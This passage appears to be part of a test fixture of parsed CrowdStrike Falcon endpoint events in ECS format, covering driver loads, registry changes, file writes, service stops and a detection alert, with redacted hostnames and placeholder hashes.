"driver" - ], - "created": "2025-09-15T03:12:42.256Z", - "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233", - "kind": "event", - "original": "{\"AuthenticodeHashDataSHA256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ContextThreadId\":\"1111111111111\",\"CertificateIssuer\":\"Microsoft Windows Production PCA 2011\",\"aip\":\"89.160.20.128\",\"CertificateSignatureHash\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\",\"CertificatePublisher\":\"Microsoft Windows\",\"CompanyName\":\"Microsoft Corporation\",\"event_platform\":\"Win\",\"AuthenticodeHashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"OriginalFilename\":\"wdnisdrv.sys\",\"FileVersion\":\"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)\",\"ImageCheckSum\":\"123456\",\"EventOrigin\":\"17\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757905962256\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1757905958.885\",\"ConfigStateHash\":\"111111111\",\"ContextProcessId\":\"000000000000\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"94208\",\"MD5HashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"RpcClientThreadId\":\"1908581779603\",\"SHA256HashData\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccc\",\"ServiceDisplayName\":\"WdNisDrv\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FixedFileVersion\":\"4.18.25070.5\",\"RegistryPath\":\"\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"ImageTimeStamp\":\"2448850720\",\"Entitlements\":\"15\",\"name\":\"DriverLoadV6\",\"ComputerName\":\"redacted-computer-name\",\"CertificateSignatureHashAlgorithm\":\"32780\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\",\"HashAlgorithm\":\"32780\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "hostname": "redacted-computer-name", - "id": "11111aaaaaaaaaaaaacccccccccddddd", - "name": "redacted-computer-name", - "os": { - "type": "windows" - } - }, - "message": "DriverLoad", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "11111aaaaaaaaaaaaacccccccccddddd", - "version": "1007.3.0019907.15" - }, - "process": { - "entity_id": "000000000000", - "thread": { - "id": 1111111111111 - }, - "title": "WdNisDrv" - }, - "related": { - "hash": [ - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "cccccccccccccccccccccccccccccccccccccccccccccccccccccc", - "111111111" - ], - "hosts": [ - "redacted-computer-name" - ], - "ip": [ - "89.160.20.128" - ] - }, - "service": { - "name": "WdNisDrv" - }, - "source": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-15T07:12:11.466Z", - "crowdstrike": { - "AuthenticationId": "997", - "ConfigStateHash": "2080600092", - "ContextProcessId": "100704500092", - "ContextTimeStamp": "2025-09-15T07:12:09.062Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "LocalAddressIP4": [ - "81.2.69.192" - ], - "RegClassification": "102", - "RegClassificationFlags": "257", - "RegClassificationIndex": "405", - "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED", - "RegOperationType": "2", - "RegType": "0", - "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8f2302b7d2a07c5d5568941494e0368e0144", - "name": "RegCrowdstrikeValueUpdateV1" - }, - "device": { - "id": "be027d4cbada339f804f9c19f5a2d5a6" - }, - "event": { - "action": "deletion", - "category": [ - "registry" - ], - "created": "2025-09-15T07:12:11.466Z", - "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"1945182997323\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\",\"RegClassificationFlags\":\"257\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"\",\"timestamp\":\"1757920331466\",\"LocalAddressIP4\":\"81.2.69.192\",\"event_simpleName\":\"RegCrowdstrikeValueUpdate\",\"ContextTimeStamp\":\"1757920329.062\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"100704500092\",\"RegType\":\"0\",\"RegClassificationIndex\":\"405\",\"AuthenticationId\":\"997\",\"ConfigBuild\":\"1007.3.0019907.15\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"102\",\"Entitlements\":\"15\",\"name\":\"RegCrowdstrikeValueUpdateV1\",\"ComputerName\":\"redacted-computer-name\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "host": { - "hostname": "redacted-computer-name", - "id": "be027d4cbada339f804f9c19f5a2d5a6", - "name": "redacted-computer-name", - "os": { - "type": "windows" - } - }, - "message": "RegCrowdstrikeValueUpdate", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", - "version": "1007.3.0019907.15" - }, - "process": { - "entity_id": "100704500092", - "thread": { - "id": 1945182997323 - } - }, - "registry": { - "data": { - "type": "REG_NONE" - }, - "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED", - "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", - "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}" - }, - "related": { - "hash": [ - "2080600092" - ], - "hosts": [ - "redacted-computer-name" - ], - "ip": [ - "81.2.69.192" - ] - }, - "source": { - "address": "81.2.69.192", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.192" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-15T03:22:10.446Z", - "crowdstrike": { - "Attacks": [ - { - "Tactic": "Command and Control", - "Technique": "Data Obfuscation" - } - ], - "AuthenticationId": "999", - "ConfigStateHash": "1234437812", - "ContextBaseFileName": "svchost.exe", - "ContextProcessId": "111122223333", - "ContextTimeStamp": "2025-09-15T03:22:09.857Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "FileCategory": "3", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-1-5-18", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "LocalAddressIP4": [ - "89.160.20.112" - ], - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "2", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4", - "name": "PngFileWrittenV3" - }, - "device": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-09-15T03:22:10.446Z", - "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", - "original": "{\"FileOperatorSid\":\"S-1-5-18\",\"ContextBaseFileName\":\"svchost.exe\",\"FileCategory\":\"3\",\"Size\":\"22929\",\"ContextThreadId\":\"1111111111111\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757906530446\",\"LocalAddressIP4\":\"89.160.20.112\",\"event_simpleName\":\"PngFileWritten\",\"ContextTimeStamp\":\"1757906529.857\",\"UserName\":\"dev-win10-3$\",\"ConfigStateHash\":\"1234437812\",\"ContextProcessId\":\"111122223333\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"999\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"1002.2.0019609.21\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"PngFileWrittenV3\",\"ComputerName\":\"dev-win10-3\",\"OperationFlags\":\"0\",\"Attacks\":[{\"Tactic\":\"Command and Control\",\"Technique\":\"Data Obfuscation\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Images\\\\qwert.png\"}" - }, - "file": { - "device": "61f\\cd4242a2\\a3fcbe35", - "directory": "\\Device\\Images", - "extension": "png", - "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1", - "name": "qwert.png", - "path": "\\Device\\Images\\qwert.png", - "size": 22929, - "type": "file" - }, - "host": { - "hostname": "dev-win10-3", - "id": "bae5bafaeb93295d398bf55b8ba1cf01", - "name": "dev-win10-3", - "os": { - "type": "windows" - } - }, - "message": "PngFileWritten", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", - "version": "1002.2.0019609.21" - }, - "process": { - "entity_id": "111122223333", - "name": "svchost.exe", - "thread": { - "id": 1111111111111 - } - }, - "related": { - "hash": [ - "1234437812" - ], - "hosts": [ - "dev-win10-3" - ], - "ip": [ - "89.160.20.128", - "89.160.20.112" - ], - "user": [ - "dev-win10-3$", - "S-1-5-18" - ] - }, - "source": { - "address": "89.160.20.112", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.112" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Command and Control" - ] - }, - "technique": { - "name": [ - "Data Obfuscation" - ] - } - }, - "user": { - "id": "S-1-5-18", - "name": "dev-win10-3$" - } - }, - { - "@timestamp": "2025-08-18T18:31:22.619Z", - "crowdstrike": { - "ConfigStateHash": "0222222222", - "ContextProcessId": "1111111111", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4", - "name": "MotwWrittenV2" - }, - "device": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-08-18T18:31:22.619Z", - "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", - "original": "{\"event_simpleName\":\"MotwWritten\",\"ConfigStateHash\":\"0222222222\",\"ContextProcessId\":\"1111111111\",\"aip\":\"89.160.20.128\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"HostUrl\":\"\",\"Entitlements\":\"15\",\"name\":\"MotwWrittenV2\",\"EventOrigin\":\"1\",\"ReferrerUrl\":\"\",\"id\":\"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"timestamp\":\"1755541882619\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Local\\\\Default\\\\Files\\\\asdf-ghkl\"}" - }, - "file": { - "directory": "\\Device\\Local\\Default\\Files", - "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1", - "name": "asdf-ghkl", - "path": "\\Device\\Local\\Default\\Files\\asdf-ghkl", - "type": "file" - }, - "host": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01", - "os": { - "type": "windows" - } - }, - "message": "MotwWritten", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", - "version": "1007.3.0019907.15" - }, - "process": { - "entity_id": "1111111111" - }, - "related": { - "hash": [ - "0222222222" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-19T17:46:20.922Z", - "crowdstrike": { - "BatchDataNumber": "2", - "BatchDataTotal": "3", - "BatchTimestamp": "2025-09-19T17:46:24.040Z", - "ConfigStateHash": "3667246164", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "MountedVolumeAction": "0", - "VolumeDeviceCharacteristics": "131072", - "VolumeDeviceObjectFlags": "134479872", - "VolumeDeviceType": "8", - "VolumeDriveLetter": "\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}", - "VolumeEncryptionStatus": "0", - "VolumeFileSystemDevice": "\\Ntfs", - "VolumeFileSystemDriver": "\\FileSystem\\Ntfs", - "VolumeFileSystemType": "2", - "VolumeIsEncrypted": "0", - "VolumeMountPoint": "\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}", - "VolumeName": "\\Device\\HarddiskVolume4", - "VolumeRealDeviceName": "\\Device\\HarddiskVolume4", - "VolumeSectorSize": "512", - "VolumeSessionUUID": "BA6553C6-EA71-4F58-ADF2-EB7C71401657", - "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1", - "name": "MountedVolumeV1" - }, - "device": { - "id": "bae5bafaeb93295d398bf55b8ba1cf01" - }, - "event": { - "action": "MountedVolume", - "category": [ - "file" - ], - "created": "2025-09-19T17:46:20.922Z", - "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1|bae5bafaeb93295d398bf55b8ba1cf01|", - "kind": "event", - "original": "{\"event_simpleName\":\"MountedVolume\",\"BatchDataTotal\":\"3\",\"VolumeSessionUUID\":\"BA6553C6-EA71-4F58-ADF2-EB7C71401657\",\"BatchTimestamp\":\"1758303984.040\",\"BatchDataNumber\":\"2\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"VolumeDriveLetter\":\"\\\\\\\\?\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_15AD\\u0026DEV_07F0\\u0026SUBSYS_07F015AD\\u0026REV_00\\\\4\\u00263b50545d\\u00260\\u002600B8\",\"VolumeDeviceCharacteristics\":\"131072\",\"id\":\"4a10cafe-7a95-4659-80c0-9b670b2308c1\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1758303980922\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"ConfigStateHash\":\"3667246164\",\"MountedVolumeAction\":\"0\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeLabel\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"15\",\"name\":\"MountedVolumeV1\",\"VirtualDriveFileName\":\"\",\"ComputerName\":\"ETW\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "file": { - "device": "PCI\\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\\4&3b50545d&0&00B8" - }, - "host": { - "hostname": "ETW", - "id": "bae5bafaeb93295d398bf55b8ba1cf01", - "name": "ETW", - "os": { - "type": "windows" - } - }, - "message": "MountedVolume", - "observer": { - "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", - "version": "1007.3.0019907.15" - }, - "related": { - "hash": [ - "3667246164" - ], - "hosts": [ - "ETW" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-15T06:14:48.316Z", - "crowdstrike": { - "ConfigStateHash": "3164437859", - "ContextProcessId": "107384762651", - "ContextProcessTagsAsString": [ - "179", - "417", - "113292" - ], - "DesiredAccess": "2097151", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentProcessId": "107378835181", - "HandleOperationType": "1", - "ParentCommandLine": "wininit.exe", - "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe", - "ParentProcessPatternIdList": [ - "7201", - "7410", - "7426" - ], - "PatternId": "10517", - "PatternIdList": [ - "7053", - "7090", - "7119" - ], - "TargetProcessCommandLine": "\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"", - "TargetProcessImageFileName": "\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe", - "TemplateDisposition": "10", - "TemplateInstanceId": "20587", - "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf", - "name": "FalconProcessHandleOpDetectInfoV1" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "FalconProcessHandleOpDetectInfo", - "category": [ - "malware", - "process" - ], - "created": "2025-09-15T06:14:48.316Z", - "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "alert", - "original": "{\"event_simpleName\":\"FalconProcessHandleOpDetectInfo\",\"GrandparentProcessId\":\"107378835181\",\"GrandparentProcessPatternIdList\":\"\",\"ParentProcessId\":\"107382228681\",\"TemplateInstanceId\":\"20587\",\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\wininit.exe\",\"HandleOperationType\":\"1\",\"event_platform\":\"Win\",\"PatternId\":\"10517\",\"EventOrigin\":\"1\",\"id\":\"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf\",\"ParentCommandLine\":\"wininit.exe\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757916888316\",\"ConfigStateHash\":\"3164437859\",\"TemplateDisposition\":\"10\",\"ContextProcessId\":\"107384762651\",\"TargetProcessImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"ParentProcessPatternIdList\":\"7201,7410,7426\",\"TargetProcessId\":\"107445999828\",\"DesiredAccess\":\"2097151\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\services.exe\",\"Entitlements\":\"15\",\"name\":\"FalconProcessHandleOpDetectInfoV1\",\"ComputerName\":\"win10-qwe-3\",\"ContextProcessTagsAsString\":\"179,417,113292\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"PatternIdList\":\"7053,7090,7119\",\"TargetProcessCommandLine\":\"\\\"C:\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\\\"\"}", - "type": [ - "info", - "access" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "FalconProcessHandleOpDetectInfo", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "process": { - "args": [ - "C:\\Windows\\system32\\services.exe" - ], - "args_count": 1, - "command_line": "C:\\Windows\\system32\\services.exe", - "entity_id": "107445999828", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe", - "name": "services.exe", - "parent": { - "entity_id": "107382228681" - } - }, - "related": { - "hash": [ - "3164437859" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-10-30T08:53:42.802Z", - "crowdstrike": { - "ClientProcessStartKey": "7599824371187858", - "ConfigStateHash": "1611923365", - "ContextTimeStamp": "2025-10-30T08:53:39.055Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EtwRawRpcClientProcessId": "5940", - "EventOrigin": "1", - "IsHosted": "0", - "SourceProcessId": "111822186970", - "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9", - "name": "ServiceStoppedV2" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "ServiceStopped", - "category": [ - "process" - ], - "created": "2025-10-30T08:53:42.802Z", - "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"ServiceStopped\",\"SourceProcessId\":\"111822186970\",\"EtwRawRpcClientProcessId\":\"5940\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"e9e1ae71-7b21-4260-9891-f1dd497a7ea9\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761814422802\",\"IsHosted\":\"0\",\"ContextTimeStamp\":\"1761814419.055\",\"ConfigStateHash\":\"1611923365\",\"EtwRawProcessId\":\"5940\",\"ServiceDisplayName\":\"wuauserv\",\"ConfigBuild\":\"1007.3.0020008.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p -s wuauserv\",\"TargetProcessId\":\"111822186970\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\svchost.exe\",\"Entitlements\":\"15\",\"name\":\"ServiceStoppedV2\",\"ClientProcessStartKey\":\"7599824371187858\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "hostname": "win10-qwe-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "win10-qwe-3", - "os": { - "type": "windows" - } - }, - "message": "ServiceStopped", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0020008.15" - }, - "process": { - "args": [ - "C:\\Windows\\system32\\svchost.exe", - "-k", - "netsvcs", - "-p", - "-s", - "wuauserv" - ], - "args_count": 6, - "command_line": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv", - "entity_id": "111822186970", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe", - "name": "svchost.exe", - "pid": 5940, - "title": "wuauserv" - }, - "related": { - "hash": [ - "1611923365" - ], - "hosts": [ - "win10-qwe-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-10-30T08:07:40.596Z", - "crowdstrike": { - "ConfigStateHash": "1146505100", - "ContextProcessId": "111669260464", - "ContextTimeStamp": "2025-10-30T08:07:37.917Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "17", - "ImageBaseName": "WdNisDrv.sys", - "RpcClientProcessId": "111754267474", - "RpcClientThreadId": "1985175578964", - "id": "664425be-9ed3-4b41-8790-5bd12a9889e8", - "name": "KernelServiceStartedV3" - }, - "device": { - "id": "cdbfd7c3bab5478d935db9969b5886cc" - }, - "event": { - "action": "KernelServiceStarted", - "category": [ - "process" - ], - "created": "2025-10-30T08:07:40.596Z", - "id": "664425be-9ed3-4b41-8790-5bd12a9889e8|cdbfd7c3bab5478d935db9969b5886cc|", - "kind": "event", - "original": "{\"event_simpleName\":\"KernelServiceStarted\",\"ContextTimeStamp\":\"1761811657.917\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111669260464\",\"ContextThreadId\":\"1984294987428\",\"RpcClientThreadId\":\"1985175578964\",\"ServiceDisplayName\":\"@C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\MpAsDesc.dll,-370\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"Entitlements\":\"15\",\"name\":\"KernelServiceStartedV3\",\"ImageBaseName\":\"WdNisDrv.sys\",\"EventOrigin\":\"17\",\"ComputerName\":\"raquel-win10-3\",\"RpcClientProcessId\":\"111754267474\",\"id\":\"664425be-9ed3-4b41-8790-5bd12a9889e8\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1761811660596\"}", - "type": [ - "start" - ] - }, - "host": { - "hostname": "raquel-win10-3", - "id": "cdbfd7c3bab5478d935db9969b5886cc", - "name": "raquel-win10-3", - "os": { - "type": "windows" - } - }, - "message": "KernelServiceStarted", - "observer": { - "serial_number": "cdbfd7c3bab5478d935db9969b5886cc", - "version": "1007.3.0019907.15" - }, - "process": { - "entity_id": "111669260464", - "executable": "\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys", - "name": "WdNisDrv.sys", - "thread": { - "id": 1984294987428 - }, - "title": "@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370" - }, - "related": { - "hash": [ - "1146505100" - ], - "hosts": [ - "raquel-win10-3" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-09-14T03:23:29.811Z", - "crowdstrike": { - "BatchDataNumber": "1", - "BatchDataTotal": "2", - "BatchTimestamp": "2025-09-14T03:23:29.223Z", - "BrowserExtensionId": "jmjflgjpcpepeafmmgdpfkogkghcpiha", - "BrowserExtensionInstallMethod": "BROWSER", - "BrowserExtensionStatusEnabled": "1", - "BrowserFileHash": "ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b", - "BrowserFilePath": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", - "BrowserName": "4", - "BrowserProfileId": "Default", - "BrowserProfileName": "Profile 1", - "BrowserVersion": "138.0.3351.83", - 